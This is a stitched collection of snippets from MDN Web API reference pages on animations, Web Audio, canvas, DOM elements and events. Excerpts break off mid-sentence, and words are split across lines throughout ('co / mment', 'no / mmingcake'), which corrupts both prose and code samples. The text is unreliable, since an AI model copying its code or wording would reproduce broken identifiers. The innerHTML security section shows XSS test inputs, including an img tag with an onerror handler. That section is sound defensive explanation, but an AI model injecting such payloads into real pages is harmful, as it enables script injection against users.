g it from the beginning. syntax animation.play(); parameters none. return value undefined example in the growing/shrinking alice game example, clicking or tapping the cake causes alice's growing animation (alicechange) to play forward, causing her to get bigger, as well as triggering the cake's animation. ...
...he cake's animation. two animation.play()s, one eventlistener: // the cake has its own animation: var no
mmingcake = document.getelementbyid('eat-me_sprite').animate( [ { transform: 'translatey(0)' }, { transform: 'translatey(-80%)' } ], { fill: 'forwards', easing: 'steps(4, end)', duration: alicechange.effect.timing.duration / 2 }); // pause the cake's animation so it doesn't play i
mmediately. no
mmingcake.pause(); // this function will play when ever a user clicks or taps var growalice = function() { // play alice's animation. alicechange.play(); // play the cake's animation. no
mmingcake.play(); } // when a user holds their mouse down or taps, call growalice to make all the animations play. cake.addeventlistener("mousedown", growalice, false); cake.addeventlistene...
...var growalice = function() { // play alice's animation. alicechange.play(); // play the cake's animation. no
mmingcake.play(); } // when a user holds their mouse down or taps, call growalice to make all the animations play. cake.addeventlistener("mousedown", growalice, false); cake.addeventlistener("touchstart", growalice, false); specifications specification status co
mment web animationsthe definition of 'play()' in that specification. working draft ...
Animation - Web APIs
gets and sets the event handler for the cancel event. animation.onfinish gets and sets the event handler for the finish event. animation.onremove allows you to set and run an event handler that fires when the animation is removed (i.e., put into an active replace state). methods animation.cancel() clears all keyframeeffects caused by this animation and aborts its playback. animation.co
mmitstyles() co
mmits the end styling state of an animation to the element being animated, even after that animation has been removed. it will cause the end styling state to be written to the element being animated, in the form of properties inside a style attribute. animation.finish() seeks either end of an animation, depending on whether the animation is playing or reversing. animation.pa...
... in a huge animations list, which could create a memory leak. for this reason, modern browsers have implemented the part of the web animations spec that automatically removes overriding forward filling animations, unless the developer explicitly specifies to keep them. you can see this in action in our simple replace indefinite animations demo. the related javascript features are: animation.co
mmitstyles() for co
mmiting the end styling state of an animation to the element being animated, even after that animation has been removed. animation.onremove for setting and running an event handler that fires when the animation is removed (i.e., put into an active replace state). animation.persist() for when you explicitly want an animations to be retained. animation.replacestate to return the ...
...erence for no animated experiences. designing safer web animation for motion sensitivity · an a list apart article an introduction to the reduced motion media query | css-tricks responsive design for motion | webkit mdn understanding wcag, guideline 2.2 explanations understanding success criterion 2.2.2 | w3c understanding wcag 2.0 specifications specification status co
mment web animationsthe definition of 'animation' in that specification. working draft initial definition ...
AudioScheduledSourceNode.stop() - Web APIs
each time you call stop() on the same node, the specified time replaces any previously-scheduled stop time that hasn't occurred yet. if the node has already stopped, this method has no effect. note: if a scheduled stop time occurs before the node's scheduled start time, the node never starts to play. syntax audioscheduledsourcenode.stop([when]); parameters when optional the time, in seconds, at which the sound should stop playing. ...
...ode never starts to play. syntax audioscheduledsourcenode.stop([when]); parameters when optional the time, in seconds, at which the sound should stop playing. this value is specified in the same time coordinate system as the audiocontext is using for its currenttime attribute. omitting this parameter, specifying a value of 0, or passing a negative value causes the sound to stop playback i
mmediately. return value undefined exceptions invalidstatenode the node has not been started by calling start(). rangeerror the value specified for when is negative. example this example demonstrates starting an oscillator node, scheduled to begin playing at once and to stop playing in one second. the stop time is determined by taking the audio context's current time from audiocontext.c...
... stop playing in one second. the stop time is determined by taking the audio context's current time from audiocontext.currenttime and adding 1 second. context = new audiocontext(); osc = context.createoscillator(); osc.connect(context.destination); /* let's play a sine wave for one second. */ osc.start(); osc.stop(context.currenttime + 1); specifications specification status co
mment web audio apithe definition of 'stop()' in that specification. working draft ...
AudioTrack.kind - Web APIs
the main track, such as a different audio take or a version of the soundtrack with only the music and no dialogue. "descriptions" an audio track providing audible descriptions of the action depicted in a video track. "main" the primary audio track. "main-desc" the primary audio track with audio descriptions mixed into it. "translation" a translated version of the primary audio track. ...
...o take or a version of the soundtrack with only the music and no dialogue. "descriptions" an audio track providing audible descriptions of the action depicted in a video track. "main" the primary audio track. "main-desc" the primary audio track with audio descriptions mixed into it. "translation" a translated version of the primary audio track. "co
mmentary" an audio track containing a co
mmentary. this might be used to contain the director's co
mmentary track on a movie, for example. "" (empty string) the track doesn't have an explicit kind, or the kind provided by the track's metadata isn't recognized by the user agent. specifications specification status co
mment html living standardthe definition of 'audiotrack: kind' in that specification. livin...
..."" (empty string) the track doesn't have an explicit kind, or the kind provided by the track's metadata isn't recognized by the user agent. ...
AudioTrack.label - Web APIs
only audiotrack property label returns a string specifying the audio track's human-readable label, if one is available; otherwise, it returns an empty string. syntax var audiotracklabel = audiotrack.label; value a domstring specifying the track's human-readable label, if one is available in the track metadata. otherwise, an empty string ("") is returned. for example, a track whose kind is "co
mmentary" might have a label such as "co
mmentary with director mark markmarkimark and star donna donnalidon". example this example returns an array of track kinds and labels for potential use in a user interface to select audio tracks for a specified media element. the list is filtered to only allow certain track kinds through. function gettracklist(el) { var tracklist = []; const wantedkinds...
...rk markmarkimark and star donna donnalidon". example this example returns an array of track kinds and labels for potential use in a user interface to select audio tracks for a specified media element. the list is filtered to only allow certain track kinds through. ...
...edkinds.includes(track.kind)) { tracklist.push({ id: track.id, kind: track.kind, label: track.label }); } }); return tracklist; } the resulting tracklist contains an array of audio tracks whose kind is one of those in the array wantedkinds, with each entry providing the track's id, kind, and label. specifications specification status co
mment html living standardthe definition of 'audiotrack.label' in that specification. living standard html5the definition of 'audiotrack.label' in that specification. reco
mmendation ...
AudioWorkletNode.parameters - Web APIs
they can be automated in the same way as with default audionodes, and their calculated values can be used in the process method of your audioworkletprocessor. examples to demonstrate creation and usage of custom audioparams, we'll expand the example from audioworkletnode page. ...
...they can be automated in the same way as with default audionodes, and their calculated values can be used in the process method of your audioworkletprocessor. examples to demonstrate creation and usage of custom audioparams, we'll expand the example from audioworkletnode page. ...
... working draft ...
AuthenticatorAttestationResponse.getTransports() - Web APIs
ontaining the different transports supported by the authenticator or nothing if this information is not available.of the processing of the different extensions by the client. the elements of this array are supposed to be in lexicographical order. their values may be : "usb": the authenticator can be contacted via a removable usb link "nfc": the authenticator may be used over nfc (near field co
mmunication) "ble": the authenticator may be used over ble (bluetooth low energy) "internal": the authenticator is specifically bound to the client device (cannot be removed). examples var publickey = { challenge: /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "joh...
... ...
... ...
AuthenticatorResponse.clientDataJSON - Web APIs
value is passed via publickeycredentialrequestoptions.challenge or publickeycredentialcreationoptions.challenge. origin the fully qualified origin of the requester which has been given by the client/browser to the authenticator. we should expect the relying party's id to be a suffix of this value. tokenbindingid optional an object describing the state of the token binding protocol for the co
mmunication with the relying party. it has two properties: status: a string which is either "supported" which indicates the client support token binding but did not negotiate with the relying party or "present" when token binding was used already id: a domstring which is the base64url encoding of the token binding id which was used for the co
mmunication. should this property be absent, it...
... ...
... ...
BaseAudioContext.createBuffer() - Web APIs
rangeerror there isn't enough memory available to allocate the buffer. examples first, a couple of simple trivial examples, to help explain how the parameters are used: var audioctx = new audiocontext(); var buffer = audioctx.createbuffer(2, 22050, 44100); if you use this call, you will get a stereo buffer (two channels), that, when played back on an audiocontext running at 44100hz (very co
mmon, most normal sound cards run at this rate), will last for 0.5 seconds: 22050 frames / 44100hz = 0.5 seconds. var audioctx = new audiocontext(); var buffer = audioctx.createbuffer(1, 22050, 22050); if you use this call, you will get a mono buffer (one channel), that, when played back on an audiocontext running at 44100hz, will be automatically *resampled* to 44100hz (and therefore yield 44100 ...
...lgorithm), but it works, and the resized image takes up less space. resampled audio is exactly the same — you save space, but in practice you will be unable to properly reproduce high frequency content (treble sound). now let's look at a more complex createbuffer() example, in which we create a three second buffer, fill it with white noise, and then play it via an audiobuffersourcenode. the co
mment should clearly explain what is going on. you can also run the code live, or view the source. var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create an empty three-second stereo buffer at the sample rate of the audiocontext var myarraybuffer = audioctx.createbuffer(2, audioctx.samplerate * 3, audioctx.samplerate); // fill the buffer with white noise; // just rando...
... working draft ...
BaseAudioContext - Web APIs
audiocontext.close). methods also implements methods from the interface eventtarget. baseaudiocontext.createanalyser() creates an analysernode, which can be used to expose audio time and frequency data and for example to create data visualisations. baseaudiocontext.createbiquadfilter() creates a biquadfilternode, which represents a second order filter configurable as several different co
mmon filter types: high-pass, low-pass, band-pass, etc baseaudiocontext.createbuffer() creates a new, empty audiobuffer object, which can then be populated by data and played via an audiobuffersourcenode. baseaudiocontext.createbuffersource() creates an audiobuffersourcenode, which can be used to play and manipulate audio data contained within an audiobuffer object. audiobuffers are created u...
...udiocontext.createdynamicscompressor() creates a dynamicscompressornode, which can be used to apply acoustic compression to an audio signal. baseaudiocontext.creategain() creates a gainnode, which can be used to control the overall volume of the audio graph. baseaudiocontext.createiirfilter() creates an iirfilternode, which represents a second order filter configurable as several different co
mmon filter types. baseaudiocontext.createoscillator() creates an oscillatornode, a source representing a periodic waveform. it basically generates a tone. baseaudiocontext.createpanner() creates a pannernode, which is used to spatialise an incoming audio stream in 3d space. baseaudiocontext.createperiodicwave() creates a periodicwave, used to define a periodic waveform that can be used to det...
... working draft ...
BasicCardResponse - Web APIs
e defined by the basiccardresponse dictionary, and may look something like this: { "cardnumber' : '9999999999999999", "cardholdername' : 'mr. dick straw", "cardsecuritycode" : "999", "expirymonth" : "07", "expiryyear" : "2021", "billingaddress" : { "country" : "gb", // etc. billing address is a paymentaddress object } } specifications specification status co
mment basic card paymentthe definition of 'basiccardresponse' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinter...
...to change preferences in firefox, visit about:config.ie no support noopera no support nosafari ? webview android no support ...
...to change preferences in firefox, visit about:config.opera android no support nosafari ios ? samsung internet android full support 7.0billin...
CSS Object Model (CSSOM) - Web APIs
ssunitvalue cssunparsedvalue cssvariablereferencevalue stylepropertymap stylepropertymapreadonly obsolete cssom interfaces cssprimitivevalue cssvalue cssvaluelist tutorials determining the dimensions of elements (it needs some updating as it was made in the dhtml/ajax era). managing screen orientation specifications specification status co
mment css typed om level 1 working draft css painting api level 1 working draft extended the css interface with the paintworklet static property. css object model (cssom) view module working draft defined the screen and mediaquerylist interfaces and the mediaquerylistevent event and mediaquerylistlistener event listener. css object model (cssom...
...ew module working draft defined the screen and mediaquerylist interfaces and the mediaquerylistevent event and mediaquerylistlistener event listener. css object model (cssom) working draft extended the css interface and provides the base for the modern cssom specification. screen orientation api working draft css fonts module level 3 candidate reco
mmendation css animations working draft css transitions working draft css custom properties for cascading variables module level 1 candidate reco
mmendation css conditional rules module level 3 candidate reco
mmendation defined the css interface. css device adaptation working draft css counter styles level...
... css animations working draft css transitions working draft css custom properties for cascading variables module level 1 candidate reco
mmendation css conditional rules module level 3 candidate reco
mmendation defined the css interface. css device adaptation working draft css counter styles level 3 candidate reco
mmendation document object model (dom) level 2 style specification obsolete initial definition. ...
CanvasPattern.setTransform() - Web APIs
examples using the settransform method this is just a simple code snippet which uses the settransform method to create a canvaspattern with the specified pattern transformation from an svgmatrix. the pattern gets applied if you set it as the current fillstyle and gets drawn onto the canvas when using the fillrect() method, for example. ...
...id('svg1'); var matrix = svg1.createsvgmatrix(); var img = new image(); img.src = 'https://mdn.mozillademos.org/files/222/canvas_createpattern.png'; img.onload = function() { var pattern = ctx.createpattern(img, 'repeat'); pattern.settransform(matrix.rotate(-45).scale(1.5)); ctx.fillstyle = pattern; ctx.fillrect(0, 0, 400, 400); }; note that newer browser versions started to support do
mmatrix as an input to settransform(), so for example you could replace the svgmatrix in the above example with the following: const matrix = new do
mmatrix([1, .2, .8, 1, 0, 0]); edit the code below and see your changes update live in the canvas: playable code <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <svg id="svg1" style="display:none"></svg> <div class="pl...
... living standard ...
CanvasRenderingContext2D.arcTo() - Web APIs
the canvasrenderingcontext2d.arcto() method of the canvas 2d api adds a circular arc to the current sub-path, using the given control points and radius. the arc is automatically connected to the path's latest point with a straight line, if necessary for the specified parameters. this method is co
mmonly used for making rounded corners. note: be aware that you may get unexpected results when using a relatively large radius: the arc's connecting line will go in whatever direction it must to meet the specified radius. syntax void ctx.arcto(x1, y1, x2, y2, radius); parameters x1 the x-axis coordinate of the first control point. y1 the y-axis coordinate of the first control point. x2 the x-axis coordinate of the second control point. y2 the y-axis coordinate of the second contro...
...ctx.arc(200, 130, 5, 0, 2 * math.pi); // control point one ctx.arc(50, 20, 5, 0, 2 * math.pi); // control point two ctx.fill(); result in this example, the path created by arcto() is thick and black. tangent lines are gray, control points are red, and the start point is blue. creating a rounded corner this example creates a rounded corner using arcto(). this is one of the method's most co
mmon uses. html <canvas id="canvas"></canvas> javascript the arc begins at the point specified by moveto(): (230, 20). it is shaped to fit control points at (90, 130) and (20, 20), and has a radius of 50. the lineto() method connects the arc to (20, 20) with a straight line. note that the arc's second control point and the point specified by lineto() are the same, which produces a totally smoot...
... living standard ...
CanvasRenderingContext2D.getTransform() - Web APIs
the canvasrenderingcontext2d.gettransform() method of the canvas 2d api retrieves the current transformation matrix being applied to the context. syntax let storedtransform = ctx.gettransform(); parameters none. return value a do
mmatrix object. the transformation matrix is described by: [acebdf001]\left[ \begin{array}{ccc} a & c & e \\ b & d & f \\ 0 & 0 & 1 \end{array} \right] note: the returned object is not live, so updating it will not affect the current transformation matrix, and updating the current transformation matrix will not affect an already returned do
mmatrix. examples in the following example, we have two <canvas> elements. we apply a transform to the first one's context using canvasrenderingcontext2d.settransform() and draw a square on it, then retrieve the matri...
...nsformation matrix will not affect an already returned do
mmatrix. examples in the following example, we have two <canvas> elements. we apply a transform to the first one's context using canvasrenderingcontext2d.settransform() and draw a square on it, then retrieve the matrix from it using gettransform(). we then apply the retrieved matrix directly to the second canvas context by passing the do
mmatrix object directly to settransform(), and draw a circle on it. html <canvas width="240"></canvas> <canvas width="240"></canvas> css canvas { border: 1px solid black; } javascript const canvases = document.queryselectorall('canvas'); const ctx1 = canvases[0].getcontext('2d'); const ctx2 = canvases[1].getcontext('2d'); ctx1.settransform(1, .2, .8, 1, 0, 0); ctx1.fillrect(25, 25, 50, 50)...
... living standard ...
Finale - Web APIs
allow them to scale smoothly regardless of the size at which they're drawn. ...
... which they're drawn. ...
... « previous ...
Using channel messaging - Web APIs
in this article we'll explore the basics of using this technology. note: this feature is available in web workers. ...
... three arguments: the message being sent. for this initial port transfering this message could be an empty string but in this example it is set to 'init'. the origin the message is to be sent to. * means "any origin". an object, the ownership of which is transferred to the receiving browsing context. in this case, we are transferring messagechannel.port2 to the iframe, so it can be used to co
mmunicate with the main page. when our button is clicked, we prevent the form from submitting as normal and then send the value entered in our text input to the iframe via the messagechannel. receiving the port and message in the iframe over in the iframe, we have the following javascript: var list = document.queryselector('ul'); var port2; // listen for the initial port transfer message windo...
... living standard ...
CharacterData - Web APIs
the characterdata abstract interface represents a node object that contains characters. this is an abstract interface, meaning there aren't any object of type characterdata: it is implemented by other interfaces, like text, co
mment, or processinginstruction which aren't abstract. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monac...
...perties from its parent, node, and implements the childnode and nondocumenttypechildnode interface. characterdata.data is a domstring representing the textual data contained in this object. characterdata.length read only returns an unsigned long representing the size of the string contained in characterdata.data. nondocumenttypechildnode.nextelementsibling read only returns the element i
mmediately following the specified one in its parent's children list, or null if the specified element is the last one in the list. nondocumenttypechildnode.previouselementsibling read only returns the element i
mmediately prior to the specified one in its parent's children list, or null if the specified element is the first one in the list. methods inherits methods from its parent, node, and i...
...replacedata() replaces the specified amount of characters, starting at the specified offset, with the specified domstring; when this method returns, data contains the modified domstring. characterdata.substringdata() returns a domstring containing the part of characterdata.data of the specified length and starting at the specified offset. specifications specification status co
mment domthe definition of 'characterdata' in that specification. living standard added implemention of the childnode and nondocumenttypechildnode interface. document object model (dom) level 3 core specificationthe definition of 'characterdata' in that specification. obsolete no change from document object model (dom) level 2 core specification. document objec...
Constraint validation API - Web APIs
butes like required and pattern to set basic constraints. however, you may want to impose more complex constraints, or to provide clearer reporting of validation failures than the defaults. this can be done using the constraint validation api. note: client-side constraint validation doesn't remove the need for validation on the server side. even though client-side validation can prevent many co
mmon kinds of invalid values, invalid ones can still be sent by older browsers or by attackers trying to trick your web application. therefore, you need to also validate input values on the server side, in a way that is consistent with what is done on the client side. client side validation is a tool for giving quick feedback to the user. you should not rely on it to completely sanitize data receive...
...alidity was previously set, the input will register as invalid, even if it current contains a valid value on submission. note: firefox supported a proprietary error attribute — x-moz-errormessage — for many versions, which allowed you set custom error messages in a similar way. this has been removed as of version 66 (see bug 1513890). ...
...ns, which allowed you set custom error messages in a similar way. this has been removed as of version 66 (see bug 1513890). specifications specification status co
mment html living standardthe definition of 'constraint validation api' in that specification. living standard html 5.1the definition of 'constraint validation api' in that specification. reco
mmendation no change from the previous snapshot html5. html5the definition of 'constraint validation api' in that specification. reco
mmendation first snapshot of html living standard containing this interface. ...
DataTransfer - Web APIs
e specified index. if the index is not in the range from 0 to the number of items minus one, an empty string list is returned. removed in firefox 71. examples every method and property listed in this document has its own reference page and each reference page either directly includes an example of the interface or has a link to an example. ...
...cifications specification status co
mment html living standardthe definition of 'datatransfer' in that specification. living standard mozcursor, mozitemcount, mozsourcenode, mozusercancelled, addelement(), mozcleardataat(), mozgetdataat(), mozsetdataat() and moztypesat are gecko specific. html 5.1the definition of 'datatransfer' in that specification. ...
...s co
mment html living standardthe definition of 'datatransfer' in that specification. living standard mozcursor, mozitemcount, mozsourcenode, mozusercancelled, addelement(), mozcleardataat(), mozgetdataat(), mozsetdataat() and moztypesat are gecko specific. html 5.1the definition of 'datatransfer' in that specification. ...
DataTransferItemList - Web APIs
from the list at the given index. datatransferitemlist.clear() removes all of the drag items from the list. datatransferitemlist.datatransferitem() getter that returns a datatransferitem at the given index. ...
... example each of this interface's methods and properties has a reference page, and each reference page has an example of its usage. ...
...and properties has a reference page, and each reference page has an example of its usage. specifications specification status co
mment html living standardthe definition of 'datatransferitemlist' in that specification. ...
Document.body - Web APIs
the element that contains the content for the document. in documents with <body> contents, returns the <body> element, and in frameset documents, this returns the outermost <frameset> element. ...
... the body property is settable, setting a new body on a document will effectively remove all the current children of the existing <body> element. specification specification status co
mment html living standardthe definition of 'document.body' in that specification. ...
...the current children of the existing <body> element. specification specification status co
mment html living standardthe definition of 'document.body' in that specification. living standard html 5.1the definition of 'document.body' in that specification. ...
Document.rootElement - Web APIs
of the document if it is an <svg> element, otherwise null. it is deprecated in favor of document.documentelement, which returns the root element for all documents. syntax const element = document.rootelement notes if the document is a non-empty svg document, then the rootelement will be an svgsvgelement, identical to the documentelement. ...
...t element for all documents. syntax const element = document.rootelement notes if the document is a non-empty svg document, then the rootelement will be an svgsvgelement, identical to the documentelement. ...
...n svgsvgelement, identical to the documentelement. specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'svgdocument.rootelement' in that specification. ...
Traversing an HTML table with JavaScript and DOM Interfaces - Web APIs
using row.appendchild(cell); next, we attach each <tr> element to the parent <tbody> element using tblbody.appendchild(row); next, we attach the <tbody> element to its parent <table> element using tbl.appendchild(tblbody); next, we attach the <table> element to its parent <body> element using body.appendchild(tbl); remember this technique. you will use it frequently in progra
mming for the w3c dom. first, you create elements from the top down; then you attach the children to the parents from the bottom up. here's the html markup generated by the javascript code: ... <table border="2"> <tbody> <tr><td>cell is row 0 column 0</td><td>cell is row 0 column 1</td></tr> <tr><td>cell is row 1 column 0</td><td>cell is row 1 column 1</td></tr> </tbody> </table> ... here's the ...
...he table created in the sample. reviewing the html table structure creating element nodes and inserting them into the document tree the basic steps to create the table in sample1.html are: get the body object (first item of the document object). create all the elements. finally, append each child according to the table structure (as in the above figure). the following source code is a co
mmented version for the sample1.html. at the end of the start function, there is a new line of code. the table's border property was set using another dom method, setattribute(). setattribute() has two arguments: the attribute name and the attribute value. you can set any attribute of any element using the setattribute method. <head> <title>sample code - traversing an html table with javascript...
...rst it uses the childnodes attribute to get the list of child nodes of mycel. the childnodes list includes all child nodes, regardless of what their name or type is. like getelementsbytagname(), it returns a list of nodes. the differences are that (a) getelementsbytagname() only returns elements of the specified tag name; and (b) getelementsbytagname() returns descendants at any level, not just i
mmediate children. once you have the returned list, use [x] method to retrieve the desired child item. this example stores in myceltext the text node of the second cell in the second row of the table. then, to display the results in this example, it creates a new text node whose content is the data of myceltext, and appends it as a child of the <body> element. if your object is a text node, you ...
DragEvent - Web APIs
event types drag this event is fired when an element or text selection is being dragged. dragend this event is fired when a drag operation is being ended (by releasing a mouse button or hitting the escape key). dragenter this event is fired when a dragged element or text selection enters a valid drop target. dragexit this event is fired when an element is no longer the drag operation's i
mmediate selection target. dragleave this event is fired when a dragged element or text selection leaves a valid drop target. dragover this event is fired continuously when an element or text selection is being dragged and the mouse pointer is over a valid drop target (every 50 ms when mouse is not moving else much faster between 5 ms (slow movement) and 1ms (fast movement) approximately. this f...
...over a global event handler for the dragover event. globaleventhandlers.ondragstart a global event handler for the dragstart event. globaleventhandlers.ondrop a global event handler for the drop event. ...
...r the drop event. example an example of each property, constructor, event type and global event handlers is included in their respective reference page. ...
EXT_disjoint_timer_query - Web APIs
webgl extensions are available using the webglrenderingcontext.getextension() method. for more information, see also using extensions in the webgl tutorial. availability: this extension should be available in webgl1 contexts only. ext_disjoint_timer_query_webgl2 is available in webgl 2 contexts . in webgl 2, the getqueryobject was renamed to getqueryparameter. in webgl 2, other queries (such as occlusion queries and primitive queries) are possible using webglquery objects. ...
...urrent time. ext.gpu_disjoint_ext a glboolean indicating whether or not the gpu performed any disjoint operation. methods this extension exposes eight new methods. ext.createqueryext() creates a new webglquery. ext.deletequeryext() deletes a given webglquery. ext.isqueryext() returns true if a given object is a webglquery. ext.beginqueryext() the timer starts when all co
mmands prior to beginqueryext have been fully executed. ext.endqueryext() the timer stops when all co
mmands prior to endqueryext have been fully executed. ext.querycounterext() records the current time into the corresponding query object. ext.getqueryext() returns information about a query target. ext.getqueryobjectext() return the state of a query object. examples var ext = gl.getext...
... working draft initial definition. ...
EffectTiming.fill - Web APIs
nimation when the "animatebutton" button is clicked. var boxrotationkeyframes = [ { transform: "rotate(-90deg)" }, { transform: "rotate(90deg)" } ]; the boxrotationkeyframes object is an array of keyframes, each describing the state of the affected element at a point in the animation process. in this case, we have just two keyframes; the first defines what affect is applied to the element i
mmediately after the animation first begins to play, and the second defines the effect applied to the element in the last moment before it ends. those phrases are crucial. let's look at why. the first keyframe says that when the animation begins, the element should be rotated 90° to the left. that means that unless we specify otherwise using the fill property, the instant the animation is started ...
...when used to persist the effect of an animation indefinitely, however, they have a number of drawbacks: the forwards fill of a...
...x effects where animations layer on top of one another, it may be necessary to use a fill mode temporarily to capture the final value of an animation before canceling it. elem.addeventlistener('click', async evt => { const animation = elem.animate( { transform: `translate(${evt.clientx}px, ${evt.clienty}px)` }, { duration: 800, fill: 'forwards' } ); await animation.finished; // co
mmitstyles will record the style up to and including `animation` and // update elem’s specified style with the result. animation.co
mmitstyles(); animation.cancel(); }); specifications specification status co
mment web animationsthe definition of 'fill' in that specification. working draft editor's draft. ...
Element.classList - Web APIs
})(window); caveats the polyfill is limited in functionality. it's currently unable to polyfill out-of-document-elements (e.g. elements created by document.createelement before they are appended to a parent node) in ie6-7. however, it should work just fine in ie9. a major discrepancy between the polyfilled version of classlist and the w3 specs is that for ie6-8, there is no way to create an i
mmutable object (an object whose properties cannot be directly modified). in ie9, however, it is possible through extending the prototype, freezing the visible object, and overwritting native property methods. however, such actions would not work in ie6-ie8 and, in ie9, slow the performance of the entire webpage to a snail's crawl, making these modifications completely impractical for this polyfill.
...ough extending the prototype, freezing the visible object, and overwritting native property methods. however, such actions would not work in ie6-ie8 and, in ie9, slow the performance of the entire webpage to a snail's crawl, making these modifications completely impractical for this polyfill. a minor note is that in ie6-7, this polyfill uses the window[" ucl"] property on the window object for co
mmunicating with the css expressions, the x-uclp css property on all elements, and the element[" ucl"] property on all elements to allow garbage collection and boost performance. in all polyfilled browsers (ie6-9), an additional element[" uclp"] property is added to element to ensure standards compliant prototyping, and a domtokenlist[" ucl"] property is added to each element["classlist"] object to ...
...l elements to allow garbage collection and boost performance. in all polyfilled browsers (ie6-9), an additional element[" uclp"] property is added to element to ensure standards compliant prototyping, and a domtokenlist[" ucl"] property is added to each element["classlist"] object to ensure that the domtokenlist is bounded to its own element. specifications specification status co
mment domthe definition of 'element.classlist' in that specification. living standard initial definition dom4the definition of 'element.classlist' in that specification. obsolete ...
Element.clientTop - Web APIs
the width of the top border of an element in pixels. it is a read-only, integer property of element. as it happens, all that lies between the two locations (offsettop and client area top) is the element's border. this is because the offsettop indicates the location of the top of the border (not the margin) while the client area starts i
mmediately below the border, (client area includes padding.) therefore, the clienttop value will always equal the integer portion of the .getcomputedstyle() value for "border-top-width". (actually might be math.round(parsefloat()).) for example, if the computed "border-top-width" is zero, then clienttop is also zero. note: this property will round the value to an integer. if you need a fractional value, use element.getboundingclientrect(). gecko-based ap...
... significance regarding the client area.) the clienttop value is the distance from where the margin (yellow) area ends and the padding and content areas (white) begin. padding-top lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea co
mmodo consequat. duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum. padding-bottom left top right bottom margin-top margin-bottom border-top border-bottom notes clienttop was first introduced in the ms ie dhtml object model. specific...
...henderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum. padding-bottom left top right bottom margin-top margin-bottom border-top border-bottom notes clienttop was first introduced in the ms ie dhtml object model. specifications specification status co
mment css object model (cssom) view modulethe definition of 'clienttop' in that specification. working draft ...
Element.getAttributeNode() - Web APIs
the name of the attribute. example // html: <div id="top" /> let t = document.getelementbyid("top"); let idattr = t.getattributenode("id"); alert(idattr.value == "top") notes when called on an html element in a dom flagged as an html document, getattributenode lower-cases its argument before proceeding. the attr node inherits from node, but is not considered a part of the document tree. ...
...of the document tree. co
mmon node attributes like parentnode, previoussibling, and nextsibling are null for an attr node. you can, however, get the element to which the attribute belongs with the ownerelement property. getattribute is usually used instead of getattributenode to get the value of an element's attribute. ...
... living standard ...
Element.innerHTML - Web APIs
nt object representing the new set of dom nodes for the new elements. if the element whose contents are being replaced is a <template> element, then the <template> element's content attribute is replaced with the new documentfragment created in step 1. for all other elements, the element's contents are replaced with the nodes in the new documentfragment. security considerations it is not unco
mmon to see innerhtml used to insert text into a web page. there is potential for this to become an attack vector on a site, creating a potential security risk. const name = "john"; // assuming 'el' is an html dom element el.innerhtml = name; // harmless in this case // ... name = "<script>alert('i am john in an annoying alert!')</script>"; el.innerhtml = name; // harmless in this case although ...
... html5 specifies that a <script> tag inserted with innerhtml should not execute. however, there are ways to execute javascript without using <script> elements, so there is still a security risk whenever you use innerhtml to set strings over which you have no control. for example: const name = "<img src='x' onerror='alert(1)'>"; el.innerhtml = name; // shows the alert for that reason, it is reco
mmended that you do not use innerhtml when inserting plain text; instead, use node.textcontent. this doesn't parse the passed content as html, but instead inserts it as raw text. warning: if your project is one that will undergo any form of security review, using innerhtml most likely will result in your code being rejected. for example, if you use innerhtml in a browser extension and submit the e...
...nt. .box { width: 600px; height: 300px; border: 1px solid black; padding: 2px 4px; overflow-y: scroll; overflow-x: auto; } .log { margin-top: 8px; font-family: monospace; } result the resulting content looks like this. you can see output into the log by moving the mouse in and out of the box, clicking in it, and so forth. specification specification status co
mment dom parsing and serializationthe definition of 'element.innerhtml' in that specification. working draft initial definition ...
Element.removeAttributeNode() - Web APIs
ttributenode(attributenode) attributenode is the attr node that needs to be removed. removedattr is the removed attr node. ...
...ed attribute has a default value, it is i
mmediately replaced. the replacing attribute has the same namespace uri and local name, as well as the original prefix, when applicable. there is no removeattributenodens method; the removeattributenode method can remove both namespaced attributes and non-namespaced attributes. ...
... living standard ...
Element.setAttribute() - Web APIs
tton"); b.setattribute("disabled", ""); this demonstrates two things: the first call to setattribute() above shows changing the name attribute's value to "hellobutton". you can see this using your browser's page inspector (chrome, edge, firefox, safari). to set the value of a boolean attribute, such as disabled, you can specify any value. an empty string or the name of the attribute are reco
mmended values. all that matters is that if the attribute is present at all, regardless of its actual value, its value is considered to be true. the absence of the attribute means its value is false. by setting the value of the disabled attribute to the empty string (""), we are setting disabled to true, which results in the button being disabled. dom methods dealing with element's attributes: ...
... is that if the attribute is present at all, regardless of its actual value, its value is considered to be true. the absence of the attribute means its value is false. by setting the value of the disabled attribute to the empty string (""), we are setting disabled to true, which results in the button being disabled. ...
... living standard ...
Event - Web APIs
the event interface represents an event which takes place in the dom. an event can be triggered by the user action e.g. clicking the mouse button or tapping keyboard, or generated by apis to represent the progress of an asynchronous task. it can also be triggered progra
mmatically, such as by calling the htmlelement.click() method of an element, or by defining the event, then sending it to a specified target using eventtarget.dispatchevent(). there are many types of events, some of which use other interfaces based on the main event interface. event itself contains the properties and methods which are co
mmon to all events. many dom elements can be set up to accept (or "listen" for) these events, and execute code in response to process (or "handle") them. event-handlers are usually connecte...
